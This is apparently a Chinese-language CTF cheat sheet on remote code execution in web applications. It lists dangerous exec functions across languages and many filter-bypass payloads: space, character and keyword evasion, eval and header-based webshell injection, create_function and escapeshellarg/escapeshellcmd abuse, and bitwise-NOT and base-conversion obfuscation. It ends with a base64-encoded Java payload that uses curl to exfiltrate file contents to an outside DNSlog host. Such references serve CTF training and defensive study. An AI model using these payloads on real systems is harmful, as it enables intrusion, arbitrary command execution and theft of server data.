RCE
注入入口:
PHP:system(),exec(),shell_exec(),passthru(),shell_exec()
JAVA:Runtime.exec(),ProcessBuilder()
PYTHON:os.system(),subprocess(),subprocess.call(command, shell=True),subprocess.Popen(command, shell=True),
subprocess.run(..., shell=True)
Node.js:child_process.exec(command),child_process.execSync(),child_process.spawn(..., { shell: true })
基本命令:
ls 列出目录并输出
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
nl 类似于cat -n,显示时输出行号
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
sort 文件内容进行行间的排序并输出文本 sort flag.php
vim 一种编辑器,这个也可以查看
od 以二进制的方式读取档案内容
vi 一种编辑器 vi flag.php
strings 在对象文件或二进制文件中查找可打印的字符串, 在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此
时,可以使用如下命令: grep test *file strings
paste 把每个文件以列对列的方式,一列列地加以合并
grep 查询文件中包含某个特定字符串的行并输出 grep 'fla' flag.php
sed 一种编辑器,可以用sed -f flag.php读取flag (sed也可以用来删除特定字符)
rev 反转
uniq 删除文件重复行并输出剩余内容,可以用于文件读取。与cat一样,结果在源代码
base64 可以读取flag.php并编码后输出 (/bin/base64)base64 flag.php
mv 对文件进行重命名,通过修改后缀名为txt,可以直接在网页中访问txt文件 mv f?lg.php a.txt
cp 将flag的内容复制到1.txt上,然后访问/1.txt文件读取 cp flag.php 1.txt
awk awk '{print}' /fla* 打印`/` 目录下所有以 `fla` 开头的文件中的每一行内容
assert assert(eval($_POST[%27x%27]));
`` php中反引号会当作system()执行,如:`cat /flag > aaa.txt`
常用命令分隔符表:
;:
命令序列分隔符,顺序执行多个命令
适用:所有类Unix系统、Windows
例子:ls; whoami
&:
后台执行命令,不等待前一命令完成
适用:所有类Unix系统、Windows
例子:ping 127.0.0.1 & whoami
&&:
仅当前一命令成功执行时执行下一命令
适用:所有类Unix系统、Windows
例子:ls /tmp && whoami
|:
管道符,将前一命令的输出作为后一命令的输入
适用:所有类Unix系统、Windows
例子:cat /etc/passwd | grep root
||:
仅当前一命令失败执行时执行下一命令
适用:所有类Unix系统、Windows
例子:ls /nonexistent || whoami
$():
命令替换,执行括号内的命令并替换为执行结果
适用:所有类Unix系统
例子:echo $(whoami)
``:
命令替换(反引号),执行反引号内的命令并替换为执行结果
适用:所有类Unix系统
例子:echo whoami``
>:
输出重定向,将命令输出写入文件
适用:所有类Unix系统、Windows
例子:whoami > user.txt
>>:
追加输出重定向,将命令输出追加到文件
适用:所有类Unix系统、Windows
例子:whoami >> user.txt
<:
输入重定向,将文件内容作为命令输入
适用:所有类Unix系统、Windows
例子:cat < input.txt
%0A:
URL编码的换行符,在某些环境中可作为命令分隔符
适用:所有类Unix系统、Windows
例子:ls%0Awhoami
绕过:
admin绕过:
如果存在strlower(),那么就可以用unicode上标/修饰字母绕过,这样会转为大写字母:
如:strlower(ᴬᴰᴹᴵᴺ)=ADMIN
比较绕过:
php将字符跟数字进行弱类型比较(==)时,会先将字符串转化为数字,即截取第一个字符出现之前的数字
绕过空格:
${IFS}
/**/
$IFS$9 比如 tac$IFS$9flag.php
%20
%09
<>
<
_
-
%a0
绕过等号:
like
使用八进制绕过:
$'154163' //执行ls
//linux中使用$’xxx’(xxx为字符的八进制)的形式可以执行任意代码
//八进制绕过不可直接执行含参数指令,需要重定向符号代替命令中的空格
$'143141164'<$'57146154141147' //cat</flag
/ 绕过:
cd ..;cd ..;cd ..;cd ..;cd etc;cat passwd
绕过:
--+
%23
绕过正则:
正则匹配时默认不匹配换行符,所以可以插入换行符(%0a)绕过
. 绕过L
[]
‘ ‘ 空字符匹配绕过:
fl''ag = flag
匹配绕过:
?c=system("tac flag.php")
URL编码绕过:
就是例如 ; 被过滤了,就可以进行URL编码
其他特殊字符也同理
php绕过:
<?=
<%
<?echo ?>(命令放在里面)
and绕过:
&&
全部字母绕过:
__import__(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))
传参绕过:
php:
?c=eval($_GET[x]);&x=system("ls");
?c=eval($_GET[x]);&x=system("tac flag.php");
python:
open(request.args.get('file')).read()
open(request.form.get('path')).read()
open(request.json.get('filename')).read()
include函数:
?c=include($_GET[x]);&x=php://filter/convert.iconv.UTF8.UTF16/resource=flag.php
如果(和;被过滤:
%0a 是 URL 编码中表示换行符(n)的字符。从而使得 include 语句和 $_GET[1] 的处理被分开,从而绕过过滤机制,不过include函数这里不加(也是可以的
php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号
?c=include%0a$_GET[1]?>&1=php://filter/convert.iconv.UTF8.UTF16/resource=flag.php
?c=include$_GET[1]?>&1=php://filter/convert.iconv.UTF8.UTF16/resource=flag.php
session_start():
?c = session_id(session_start());
Cookies:PHPSESSID=????
//并在cookies中传入你需要执行的命令
变量挟持绕过:
?c=eval(array_pop(next(get_defined_vars())));
POST传入: 1=system('tac fl*');
get_defined_vars()
获取当前作用域中所有定义的变量,返回一个数组,键是变量名,值是对应的变量值
next(get_defined_vars())
将指针移动到数组中的下一个元素,并返回该元素的值。在这里,指针操作的对象是由 get_defined_vars() 返回的数组
array_pop(...)
弹出数组的最后一个元素。这里作用在 next(get_defined_vars()) 的结果上,获取这个数组的最后一个变量值
自增绕过:
$_=[]._;$__=$_[1];$_=$_[0];$_++;$_0=++$_;$_++;$_++;$_++;$_++;$_=$_0.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
文件枚举绕过:
getcwd() 函数返回当前工作目录的路径
scandir() 函数列出指定目录中的所有文件和目录,并返回一个包含文件和目录名称的数组
show_source() 函数用于显示一个 PHP 文件的源代码
localeconv()返回一个包含本地数字及货币格式信息的数组,该数组的第一项就是’.’
?c=show_source(scandir(getcwd())[2]);
这里的[2]要多尝试,flag文件的位置不一定会在第2位,array_rand()抽签也可
?c=show_source(scandir(dirname(__FILE__))[array_rand(scandir(dirname(__FILE__)))]);
目录穿越绕过:
读取最后一个文件
?c=show_source(current(array_reverse(scandir(getcwd()))));
读取倒数第二个元素
?c=show_source(next(array_reverse(scandir(getcwd()))));
?c=echo highlight_file(current(array_reverse(scandir(pos(localeconv())))));
?c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));
dirname():用于获取路径的目录部分。dirname('FILE');返回 ‘.’
scandir():列出指定目录中的文件和目录,返回一个数组
print_r():输出变量的易读信息,适合用于调试和查看数组内容
__FILE__ __DIR__:是php中的魔术方法,可以用于获取当前目录与上级目录,通过迭代dirname函数就能实现目录遍历
c=print_r(scandir(dirname(__FILE__))); // 读取当前目录
c=print_r(scandir(dirname(__DIR__))); // 读取上级目录
c=print_r(scandir(dirname(dirname(__FILE__))));//读取上级目录
c=print_r(scandir(dirname(dirname(__DIR__))));//读取上上级目录
c=print_r(scandir(dirname(dirname(dirname(dirname(__DIR__))))));
chdir:改变目录
?c=chdir(dirname(__FILE__));hightlight_file("flag.php");
读取文件绕过:
highlight_file("flag.php")
相似的还有
show_source()
readgzfile()
require_once()
open_basedir
或者可以写文件<?php highlight_file("var/www/html/includes/flag.php");?>
变量弹出:
Var_dump(reset(getallheaders()));
//提取所有 http 头
//reset可能换成end,看弹出是顺序还是逆序,reset提取第一个,end提取最后一个
然后添加自创表头,如:abc:system(“ls /”);
用最开始那个验证,之后Var_dump 改为 eval 可以命令执行
php匿名函数(create_function())绕过:
如:create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));");中,会执行后一个参数中的语句,可以提前闭合这个参数中的语句再用}别自定义函数,再拼接要执行的语句然后再注释掉后面的
?c=1));}phpinfo();/*
匿名函数组合后:
function ft($a,$b){
return (strlen($a)-strlen($b)+" . "strlen(1));
}
phpinfo(); //这里会执行函数
/*));
}
对于$a("",$b);
可以:?a='creat_function'&b="}`xxd /???g`;//"
escapeshellarg escapeshellcmd先后使用可能产生漏洞:
escapeshellarg():在整个字符串周围添加单引号,将字符串中已有的单引号转义为 '''
escapeshellcmd():转义以下字符:#&;|*?~<>^()[]{}$`、换行符和回车符
$input = "' <?php code ?> -oG evil.php '";
$arg = escapeshellarg($input);
// 结果: '''' <?php code ?> -oG evil.php ''''
$cmd = escapeshellcmd($arg);
// 结果: ''\'' <?php code ?> -oG evil.php '\'''
''\'' 被解析为字面字符串 ,中间的 <?php code ?> -oG evil.php因引号被破坏而成为独立参数。
数字函数绕过:
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac flag.php
分析:
base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET" //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
分析:
base_convert(696468,10,36) => "exec"
$pi(8768397090111664438,10,30) => "getallheaders"
exec(getallheaders(){1})
//操作xx和yy,中间用逗号隔开,echo都能输出
echo xx,yy
header传参即可
取反绕过:
原理:将代码取反过后再url编码再取反发给服务器,服务器url解码后会变为不可见字符以此绕过,ban字母数字可用
<?php
$a='assert';
echo(urlencode(~$a));
echo('<p>');
$b='(eval($_POST[inex]))';
echo(urlencode(~$b));
输出:%9E%8C%8C%9A%8D%8B<p>%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%96%91%9A%87%A2%D6%D6
然后传参:?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);
<?php
$str = "phpinfo";
$payload = "";
for($i=0; $i<strlen($str); $i++){
$payload .= "%" . strtoupper(dechex(ord(~$str[$i])));
}
echo "(~'$payload')();";
?>
java基本通用rce:
java.lang.Runtime.getRuntime().exec("payload")
DNSlog外带:
java.lang.Runtime.getRuntime().exec("bash -c {echo,Y3VybCBgY2F0IC9mKmAuM2p1c2V2NTUucmVxdWVzdHJlcG8uY29t}|{base64,-d}|{bash,-i}")
x=base64(curl `cat /f*`.你的DNS网址)
bash -c {echo,这里放x}|{base64,-d}|{bash,-i}
去在线网站找个DNSlog网址,拿到DNS网址后base64加密嵌入payload当中。